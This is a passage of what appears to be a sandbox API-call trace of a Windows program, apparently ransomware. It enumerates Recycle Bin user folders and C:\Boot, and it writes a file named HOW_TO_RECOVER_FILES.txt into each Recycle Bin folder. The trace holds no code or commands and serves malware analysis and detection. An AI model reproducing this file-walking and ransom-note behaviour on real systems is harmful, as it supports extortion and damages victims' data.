cAlternateFileName="")) returned 1 [0068.821] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0068.821] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0068.822] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0068.822] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0068.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0068.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0068.822] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0068.822] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.822] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.822] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0068.822] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0068.823] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.823] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0068.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0068.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0068.823] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-18", lpFilePart=0x0) returned 0x18 [0068.823] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.823] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.824] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0068.824] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.824] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0068.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0068.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0068.824] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-18", lpFilePart=0x0) returned 0x18 [0068.824] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.824] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.825] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0068.825] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0068.825] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0068.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.132] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-18\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0069.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0069.132] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\$recycle.bin\\s-1-5-18\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b4 [0069.133] GetFileType (hFile=0x6b4) returned 0x1 [0069.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0069.133] GetFileType (hFile=0x6b4) returned 0x1 [0069.134] WriteFile (in: hFile=0x6b4, lpBuffer=0x31d34e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x31d34e0*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0069.135] CloseHandle (hObject=0x6b4) returned 1 [0069.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.136] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000", lpFilePart=0x0) returned 0x3d [0069.136] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0069.136] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.136] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0069.136] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.136] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0069.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.137] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000", lpFilePart=0x0) returned 0x3d [0069.137] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0069.137] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.137] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0069.137] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0069.137] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0069.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.138] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0069.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0069.138] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b4 [0069.139] GetFileType (hFile=0x6b4) returned 0x1 [0069.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0069.139] GetFileType (hFile=0x6b4) returned 0x1 [0069.139] WriteFile (in: hFile=0x6b4, lpBuffer=0x31e4b68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x31e4b68*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0069.140] CloseHandle (hObject=0x6b4) returned 1 [0069.141] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x28 [0069.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0069.141] CreateFileW (lpFileName="C:\\$Recycle.Bin\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\$recycle.bin\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b4 [0069.142] GetFileType (hFile=0x6b4) returned 0x1 [0069.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0069.142] GetFileType (hFile=0x6b4) returned 0x1 [0069.143] WriteFile (in: hFile=0x6b4, lpBuffer=0x31e8360*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x31e8360*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0069.144] CloseHandle (hObject=0x6b4) returned 1 [0069.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0069.145] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0069.145] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0069.146] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, 